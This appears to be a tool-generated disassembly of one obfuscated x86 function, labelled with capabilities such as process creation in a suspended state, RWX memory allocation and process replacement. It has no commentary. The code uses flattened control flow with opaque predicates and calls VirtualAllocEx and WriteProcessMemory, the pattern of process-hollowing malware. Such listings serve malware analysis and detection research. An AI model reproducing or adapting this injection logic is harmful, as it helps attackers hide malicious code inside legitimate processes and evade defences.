Function at 0x100066f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x1006d000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0x7bbbb840
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x8037f8f6
je 0x1000e6f5
jmp 0x1000672c
mov eax, dword [ebp - 0x188]
sub eax, 0x8095eff0
je 0x1000968e
jmp 0x10006742
mov eax, dword [ebp - 0x188]
sub eax, 0x84830a0e
je 0x1000def5
jmp 0x10006758
mov eax, dword [ebp - 0x188]
sub eax, 0x84cfedd5
je 0x1000e4e7
jmp 0x1000676e
mov eax, dword [ebp - 0x188]
sub eax, 0x85c92bfa
je 0x1000c5a7
jmp 0x10006784
mov eax, dword [ebp - 0x188]
sub eax, 0x86459b84
je 0x1000e910
jmp 0x1000679a
mov eax, dword [ebp - 0x188]
sub eax, 0x868a63bc
je 0x1000c08a
jmp 0x100067b0
mov eax, dword [ebp - 0x188]
sub eax, 0x8747ef35
je 0x1000ada7
jmp 0x100067c6
mov eax, dword [ebp - 0x188]
sub eax, 0x87960e4a
je 0x1000c66e
jmp 0x100067dc
mov eax, dword [ebp - 0x188]
sub eax, 0x879f3c2e
je 0x1000aeed
jmp 0x100067f2
mov eax, dword [ebp - 0x188]
sub eax, 0x881c8703
je 0x1000a929
jmp 0x10006808
mov eax, dword [ebp - 0x188]
sub eax, 0x882d0aa8
je 0x1000afcb
jmp 0x1000681e
mov eax, dword [ebp - 0x188]
sub eax, 0x88397d69
je 0x10009ff0
jmp 0x10006834
mov eax, dword [ebp - 0x188]
sub eax, 0x8859733e
je 0x1000935b
jmp 0x1000684a
mov eax, dword [ebp - 0x188]
sub eax, 0x8894a34e
je 0x10008ea7
jmp 0x10006860
mov eax, dword [ebp - 0x188]
sub eax, 0x892cbbf4
je 0x1000a7e1
jmp 0x10006876
mov eax, dword [ebp - 0x188]
sub eax, 0x8a90f3d2
je 0x1000a5ea
jmp 0x1000688c
mov eax, dword [ebp - 0x188]
sub eax, 0x8ba183f0
je 0x1000ddb8
jmp 0x100068a2
mov eax, dword [ebp - 0x188]
sub eax, 0x8bd5f160
je 0x1000a00f
jmp 0x100068b8
mov eax, dword [ebp - 0x188]
sub eax, 0x8c13e2de
je 0x1000cda9
jmp 0x100068ce
mov eax, dword [ebp - 0x188]
sub eax, 0x8c5392d1
je 0x10009871
jmp 0x100068e4
mov eax, dword [ebp - 0x188]
sub eax, 0x8e114416
je 0x1000e592
jmp 0x100068fa
mov eax, dword [ebp - 0x188]
sub eax, 0x8e3e847c
je 0x1000e47c
jmp 0x10006910
mov eax, dword [ebp - 0x188]
sub eax, 0x8f1b9f5d
je 0x1000b85d
jmp 0x10006926
mov eax, dword [ebp - 0x188]
sub eax, 0x8ff00524
je 0x1000cbca
jmp 0x1000693c
mov eax, dword [ebp - 0x188]
sub eax, 0x901b5751
je 0x1000aece
jmp 0x10006952
mov eax, dword [ebp - 0x188]
sub eax, 0x903bc783
je 0x1000db09
jmp 0x10006968
mov eax, dword [ebp - 0x188]
sub eax, 0x907b1c71
je 0x1000c5f8
jmp 0x1000697e
mov eax, dword [ebp - 0x188]
sub eax, 0x912f0e3a
je 0x1000b7b5
jmp 0x10006994
mov eax, dword [ebp - 0x188]
sub eax, 0x926f7880
je 0x1000cbd9
jmp 0x100069aa
mov eax, dword [ebp - 0x188]
sub eax, 0x9317ceca
je 0x1000a18a
jmp 0x100069c0
mov eax, dword [ebp - 0x188]
sub eax, 0x93a67665
je 0x1000dd72
jmp 0x100069d6
mov eax, dword [ebp - 0x188]
sub eax, 0x93f3bab1
je 0x1000d787
jmp 0x100069ec
mov eax, dword [ebp - 0x188]
sub eax, 0x9447268a
je 0x1000b18d
jmp 0x10006a02
mov eax, dword [ebp - 0x188]
sub eax, 0x959d4108
je 0x1000df68
jmp 0x10006a18
mov eax, dword [ebp - 0x188]
sub eax, 0x95d26c6f
je 0x1000be9c
jmp 0x10006a2e
mov eax, dword [ebp - 0x188]
sub eax, 0x9641e4f2
je 0x1000b273
jmp 0x10006a44
mov eax, dword [ebp - 0x188]
sub eax, 0x96473342
je 0x100091e4
jmp 0x10006a5a
mov eax, dword [ebp - 0x188]
sub eax, 0x96bf83a0
je 0x1000b610
jmp 0x10006a70
mov eax, dword [ebp - 0x188]
sub eax, 0x96d46832
je 0x1000953d
jmp 0x10006a86
mov eax, dword [ebp - 0x188]
sub eax, 0x9737a016
je 0x1000c43f
jmp 0x10006a9c
mov eax, dword [ebp - 0x188]
sub eax, 0x97a5a460
je 0x1000d583
jmp 0x10006ab2
mov eax, dword [ebp - 0x188]
sub eax, 0x984d6815
je 0x1000e886
jmp 0x10006ac8
mov eax, dword [ebp - 0x188]
sub eax, 0x98525def
je 0x1000d140
jmp 0x10006ade
mov eax, dword [ebp - 0x188]
sub eax, 0x9864bff0
je 0x1000e8e2
jmp 0x10006af4
mov eax, dword [ebp - 0x188]
sub eax, 0x98e29728
je 0x1000a384
jmp 0x10006b0a
mov eax, dword [ebp - 0x188]
sub eax, 0x99301198
je 0x1000bf78
jmp 0x10006b20
mov eax, dword [ebp - 0x188]
sub eax, 0x99950123
je 0x1000ec27
jmp 0x10006b36
mov eax, dword [ebp - 0x188]
sub eax, 0x99a80d31
je 0x1000e95d
jmp 0x10006b4c
mov eax, dword [ebp - 0x188]
sub eax, 0x9ab2cb45
je 0x1000e1f2
jmp 0x10006b62
mov eax, dword [ebp - 0x188]
sub eax, 0x9b4e1e80
je 0x1000d281
jmp 0x10006b78
mov eax, dword [ebp - 0x188]
sub eax, 0x9bdb2010
je 0x1000eb3d
jmp 0x10006b8e
mov eax, dword [ebp - 0x188]
sub eax, 0x9bde3590
je 0x1000b55c
jmp 0x10006ba4
mov eax, dword [ebp - 0x188]
sub eax, 0x9bf20465
je 0x1000a531
jmp 0x10006bba
mov eax, dword [ebp - 0x188]
sub eax, 0x9cb785fc
je 0x1000db49
jmp 0x10006bd0
mov eax, dword [ebp - 0x188]
sub eax, 0x9d305d63
je 0x1000a309
jmp 0x10006be6
mov eax, dword [ebp - 0x188]
sub eax, 0x9d985409
je 0x1000ea96
jmp 0x10006bfc
mov eax, dword [ebp - 0x188]
sub eax, 0x9ddc2c0b
je 0x1000bcab
jmp 0x10006c12
mov eax, dword [ebp - 0x188]
sub eax, 0x9deec05a
je 0x1000c012
jmp 0x10006c28
mov eax, dword [ebp - 0x188]
sub eax, 0x9f02039a
je 0x1000d054
jmp 0x10006c3e
mov eax, dword [ebp - 0x188]
sub eax, 0x9f58f3d3
je 0x1000dfa2
jmp 0x10006c54
mov eax, dword [ebp - 0x188]
sub eax, 0xa0e7c6ae
je 0x1000c222
jmp 0x10006c6a
mov eax, dword [ebp - 0x188]
sub eax, 0xa1516ae2
je 0x1000e4b9
jmp 0x10006c80
mov eax, dword [ebp - 0x188]
sub eax, 0xa16a79aa
je 0x1000e2ce
jmp 0x10006c96
mov eax, dword [ebp - 0x188]
sub eax, 0xa1955fdc
je 0x1000a582
mov dl, 1
mov eax, 0x292ce527
mov ecx, 0x6ac10118
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa1516ae2
mov ecx, 0x1afb645e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
movss xmm0, dword [0x1001c394]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x184], 0xf5bca08
jmp 0x1000ed36
movss xmm0, dword [0x1001c374]
movss dword [ebp - 0x124], xmm0
mov dl, 1
mov eax, 0x67363964
mov ecx, 0x6a9e78e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov dl, 1
mov eax, 0x459741be
mov ecx, 0xccba7cc5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov dl, 1
mov eax, 0x5e2fcf07
mov ecx, 0xd9cd2e4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
movss xmm0, dword [0x1001c344]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x184], 0x8bd5f160
jmp 0x1000ed36
mov dl, 1
mov eax, 0xbfd72f36
mov ecx, 0x3f228104
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
mov edx, ecx
sub edx, 0x7ab68dde
sub edx, 1
add edx, 0x7ab68dde
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd790f95d
mov ecx, 0xed9f76bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
movss xmm0, dword [0x1001c324]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x184], 0x19b5800d
jmp 0x1000ed36
movss xmm0, dword [0x1001c314]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x184], 0x67ad972d
jmp 0x1000ed36
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
sub edx, 0x28d56bed
sub edx, 1
add edx, 0x28d56bed
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1141b8d4
mov ecx, 0xa1955fdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x72c8bca
mov ecx, 0x23292b71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov dword [ebp - 0x184], 0xff971d93
jmp 0x1000ed36
movss xmm0, dword [0x1001c2ec]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x184], 0xfa7df0e0
jmp 0x1000ed36
movss xmm0, dword [0x1001c1d0]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
sub edx, 0xfaa7709f
sub edx, 1
add edx, 0xfaa7709f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55a96382
mov ecx, 0x3969eb2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
movss xmm0, dword [0x1001c2c4]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x184], 0x879f3c2e
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5071cad5
mov ecx, 0x8c0ccd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
mov edx, ecx
sub edx, 0x1b044f5f
sub edx, 1
add edx, 0x1b044f5f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb12e3da2
mov ecx, 0xfdb37705
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
sub edx, 0x8fd68e7e
sub edx, 1
add edx, 0x8fd68e7e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78247d57
mov ecx, 0x76c023da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
movss xmm0, dword [0x1001c2c0]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x184], 0xb5e9f7ca
jmp 0x1000ed36
movss xmm0, dword [0x1001c1bc]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001c1b8]
movss dword [ebp - 0x134], xmm0
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
mov edx, ecx
add edx, 0x59d82999
sub edx, 1
sub edx, 0x59d82999
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdc3111b4
mov ecx, 0x3843ba5c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
add edx, 0x648c3b99
sub edx, 1
sub edx, 0x648c3b99
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6146822
mov ecx, 0xfb21c5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov dword [ebp - 0x184], 0x47f346b9
jmp 0x1000ed36
movss xmm0, dword [0x1001c298]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x184], 0x2a7d48f4
jmp 0x1000ed36
movss xmm0, dword [0x1001c27c]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x184], 0xb490f72b
jmp 0x1000ed36
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
sub edx, 0xed88997f
sub edx, 1
add edx, 0xed88997f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1b5a3d0
mov ecx, 0xc9bdb403
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
movss xmm0, dword [0x1001c260]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x184], 0xcc413bb5
jmp 0x1000ed36
movss xmm0, dword [0x1001c24c]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001c248]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x184], 0xc7c2f29b
jmp 0x1000ed36
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
sub edx, 0x91fd2644
sub edx, 1
add edx, 0x91fd2644
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9864bff0
mov ecx, 0x6252bb44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov dword [ebp - 0x184], 0x766754b4
jmp 0x1000ed36
mov dl, 1
mov eax, 0x264aad68
mov ecx, 0xb0f9b2d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
add edx, 0xfd4f4aea
sub edx, 1
sub edx, 0xfd4f4aea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x99a80d31
mov ecx, 0x907b1c71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
mov edx, ecx
sub edx, 0x6a0ed46
sub edx, 1
add edx, 0x6a0ed46
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x99a80d31
mov ecx, 0x87960e4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov dword [ebp - 0x184], 0xe23ca4d3
jmp 0x1000ed36
mov dword [ebp - 0x184], 0x926f7880
jmp 0x1000ed36
mov dl, byte [ebp - 0xdd]
mov eax, 0x3cf8574a
mov ecx, 0x39ef3d83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0xa80962ee
mov ecx, 0xde2f4e7f
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
mov edx, ecx
sub edx, 0x924b49a
sub edx, 1
add edx, 0x924b49a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe247e578
mov ecx, 0x61775298
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
sub edx, 0x5d29e397
sub edx, 1
add edx, 0x5d29e397
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d4f133d
mov ecx, 0xf2f1e8e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov dword [ebp - 0x184], 0xf6f781dd
jmp 0x1000ed36
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
add ecx, eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov edx, dword [ebp - 0x11c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10c]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xf9fc88e
jmp 0x1000ed36
mov dl, byte [ebp - 0x99]
mov eax, 0x9f58f3d3
mov ecx, 0x5ffe10da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0x8c]
sub ecx, 0x61846e9a
sub ecx, eax
add ecx, 0x61846e9a
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov dword [eax], 0
mov dword [ebp - 0x184], 0x9cb785fc
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
mov edx, ecx
add edx, 0x9eecc109
sub edx, 1
sub edx, 0x9eecc109
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xab7471fb
mov ecx, 0x3d08a0ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov edx, dword [ebp - 0x7c]
mov eax, 0x84830a0e
mov ecx, 0x7ecd2ee5
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
mov edx, ecx
sub edx, 0xbe685117
sub edx, 1
add edx, 0xbe685117
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x99950123
mov ecx, 0xb2f4716c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov dword [ebp - 0x184], 0x2c0d2629
jmp 0x1000ed36
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x70]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0x34f4fb34
jmp 0x1000ed36
mov ecx, dword [0x1006e328]
mov eax, dword [0x1006e324]
mov edx, ecx
sub edx, 0x9c1fe718
sub edx, 1
add edx, 0x9c1fe718
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a5571f7
mov ecx, 0xbdac4223
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [0x1006e328]
mov ecx, dword [0x1006e324]
mov edx, eax
sub edx, 0x9e3cbdd3
sub edx, 1
add edx, 0x9e3cbdd3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x56c5a7db
mov ecx, 0x35a5e80f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000ed36
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x184], 0x3cf8574a
jmp 0x1000ed36
movss xmm0, dword [0x1001c218]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x184], 0x54de8082
jmp 0x1000ed36
movss xmm0, dword [0x1001c214]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x184], 0x1afb645e
jmp 0x1000ed36
movss xmm0, dword [0x1001c210]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001c20c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x184], 0xe1d03eef
jmp 0x1000ed36
movss xmm0, dword [0x1001c1f8]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x184], 0x1ecb43dd
jmp 0x1000ed36
mov dword [ebp - 0x184], 0xb526be9c
jmp 0x1000ed36
movss xmm0, dword [0x1001c1a4]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x184], 0xcfb8cd2d
jmp 0x1000ed36
mov dword [ebp - 0x184], 0x868a63bc
jmp 0x1000ed36
movss xmm0, dword [0x1001c198]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x184], 0xd153ca1
jmp 0x1000ed36
mov dword [ebp - 0x184], 0x907b1c71
jmp 0x1000ed36
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x184], 0x77d44587
jmp 0x1000ed36
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x184], 0x1ec35ce0
jmp 0x1000ed36
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x184], 0xb2f4716c
jmp 0x1000ed36
jmp 0x10006710